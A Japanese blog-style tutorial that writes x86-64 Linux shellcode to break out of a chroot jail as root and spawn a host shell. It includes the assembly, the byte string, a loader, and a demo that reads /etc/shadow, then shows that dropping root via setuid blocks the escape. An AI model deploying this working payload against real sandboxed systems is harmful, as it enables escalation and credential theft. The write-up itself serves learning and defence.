Linux x64でchroot jailから脱出するシェルコードを書いてみる
上の記事では、chrootがsuperuserならば脱出可能であることについて書かれている。 また、実際にマニュアルを確認すると、確かにそのことが記載されている。
CHROOT(2) Linux Programmer's Manual CHROOT(2)
NAME
chroot - change root directory
SYNOPSIS
(snip)
DESCRIPTION
(snip)
This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a "chroot jail"
by doing:
mkdir foo; chroot foo; cd ..
ここでは上の記事を参考に、Linux x64環境においてchroot jailから脱出してシェルを起動するシェルコードを書いてみる。
環境
Ubuntu 14.04.1 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2
シェルコードを書いてみる
実際にシェルコードを書くと次のようになる。
# escape_chroot.s
.intel_syntax noprefix
.globl _start
_start:
# chdir("/")
push 0x2f
mov rdi, rsp
push 80
pop rax
syscall
# mkdir("\355\1", 0755)
pop rsi
mov si, 0755
push rsi
mov rdi, rsp
push 83
pop rax
syscall
# chroot("\355\1")
push 94
pop rax
not al
syscall
# chdir("..") x 0x7f
push 0x7f
pop rsi
xor rdi, rdi
mov di, 0x2e2e
push rdi
mov rdi, rsp
loop:
push 80
pop rax
syscall
dec rsi
jne loop
# chroot("..")
push 94
pop rax
not al
syscall
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
push 59
pop rax
cqo
movabs rdi, 0x68732f2f6e69622f
push rdx
push rdi
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
syscall
上のコードの内容を簡単にまとめると次のようになる。
アセンブルし、ディスアセンブル結果を表示すると次のようになる。
$ gcc -nostdlib escape_chroot.s $ objdump -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 6a 2f push 0x2f 4000d6: 48 89 e7 mov rdi,rsp 4000d9: 6a 50 push 0x50 4000db: 58 pop rax 4000dc: 0f 05 syscall 4000de: 5e pop rsi 4000df: 66 be ed 01 mov si,0x1ed 4000e3: 56 push rsi 4000e4: 48 89 e7 mov rdi,rsp 4000e7: 6a 53 push 0x53 4000e9: 58 pop rax 4000ea: 0f 05 syscall 4000ec: 6a 5e push 0x5e 4000ee: 58 pop rax 4000ef: f6 d0 not al 4000f1: 0f 05 syscall 4000f3: 6a 7f push 0x7f 4000f5: 5e pop rsi 4000f6: 48 31 ff xor rdi,rdi 4000f9: 66 bf 2e 2e mov di,0x2e2e 4000fd: 57 push rdi 4000fe: 48 89 e7 mov rdi,rsp 0000000000400101 <loop>: 400101: 6a 50 push 0x50 400103: 58 pop rax 400104: 0f 05 syscall 400106: 48 ff ce dec rsi 400109: 75 f6 jne 400101 <loop> 40010b: 6a 5e push 0x5e 40010d: 58 pop rax 40010e: f6 d0 not al 400110: 0f 05 syscall 400112: 6a 3b push 0x3b 400114: 58 pop rax 400115: 48 99 cqo 400117: 48 bf 2f 62 69 6e 2f movabs rdi,0x68732f2f6e69622f 40011e: 2f 73 68 400121: 52 push rdx 400122: 57 push rdi 400123: 48 89 e7 mov rdi,rsp 400126: 52 push rdx 400127: 57 push rdi 400128: 48 89 e6 mov rsi,rsp 40012b: 0f 05 syscall
このバイト列をC形式の文字列に変換すると次のようになる。
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05
chroot下でシェルコードを実行してみる
意図的にシェルコードにジャンプするプログラムコードを書くと次のようになる。
/* loader.c */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char code[] = "\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
printf("strlen(code) = %ld\n", strlen(code));
((void (*)())code)();
return 0;
}
DEPを無効にした上でC標準ライブラリをstatic linkしてコンパイルし、実行ファイルを生成する。 さらに、chroot下でこれを実行してみる。
$ gcc -static -zexecstack loader.c $ mkdir jail $ cp a.out jail/ $ sudo chroot jail/ /a.out strlen(code) = 89 # cat /etc/shadow root:!:16349:0:99999:7::: daemon:*:16273:0:99999:7::: bin:*:16273:0:99999:7::: sys:*:16273:0:99999:7::: (snip) # exit
上の結果より、chroot下のプログラムから本来の環境のシェルが起動していることが確認できた。 このシェルコードの長さは89バイトである。
chroot下でchrootできないようにする
上を防ぐには、chroot下で動かすプログラムの実行ユーザをrootではないユーザ(より正確にはCAP_SYS_CHROOT capabilityのないユーザ)に変更しておく必要がある。
chrootコマンドの場合、--userspecオプションにuid番号を指定することでこれを行うことができる。
あるいは、動かすプログラム中でsetuid関数を実行してもよく、一般的にはこの方法が広く用いられる。
実行ユーザにnobodyを指定して、再度chroot下でプログラムを実行してみると次のようになる。
$ id nobody
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ sudo chroot --userspec=65534 jail/ /a.out
strlen(code) = 89
$ sudo strace chroot --userspec=65534 jail/ /a.out
execve("/usr/sbin/chroot", ["chroot", "--userspec=65534", "jail/", "/a.out"], [/* 13 vars */]) = 0
brk(0) = 0x1def000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f46d472b000
...
setuid(65534) = 0
execve("/a.out", ["/a.out"], [/* 13 vars */]) = 0
uname({sys="Linux", node="vm-ubuntu64", ...}) = 0
brk(0) = 0x1c7a000
brk(0x1c7b1c0) = 0x1c7b1c0
arch_prctl(ARCH_SET_FS, 0x1c7a880) = 0
readlink("/proc/self/exe", 0x7fffc99221f0, 4096) = -1 ENOENT (No such file or directory)
brk(0x1c9c1c0) = 0x1c9c1c0
brk(0x1c9d000) = 0x1c9d000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff39e8cd000
write(1, "strlen(code) = 89\n", 18strlen(code) = 89
) = 18
chdir("/") = 0
mkdir("\355\1", 0755) = -1 EEXIST (File exists)
chroot("\355\1") = -1 EPERM (Operation not permitted)
chdir("..") = 0
...
chdir("..") = 0
chroot("..") = -1 EPERM (Operation not permitted)
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffffc} ---
+++ killed by SIGSEGV (core dumped) +++
システムコールトレースの結果から、プログラム実行前にsetuidで実行ユーザIDが変更され、chrootシステムコールでエラーが返るようになっていることが確認できる。